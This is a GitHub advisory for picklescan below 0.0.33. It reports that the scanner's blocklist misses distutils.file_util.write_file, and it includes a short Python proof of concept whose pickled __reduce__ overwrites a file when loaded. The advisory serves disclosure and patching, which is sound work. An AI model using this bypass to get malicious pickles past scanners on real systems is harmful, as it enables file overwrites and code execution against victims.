~ / search / GHSA-m273-6v24-x4m4

GHSA-m273-6v24-x4m4

Picklescan vulnerable to Arbitrary File Writing

Source: GitHub Advisory Database (reviewed) High CVE-2025-71321

Packages

EcosystemPackageAffectedFixed in
PyPI picklescan < 0.0.33 0.0.33

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /> To fix this just add disutil to the blacklist

References

External links from the advisory. They lead to third-party sites.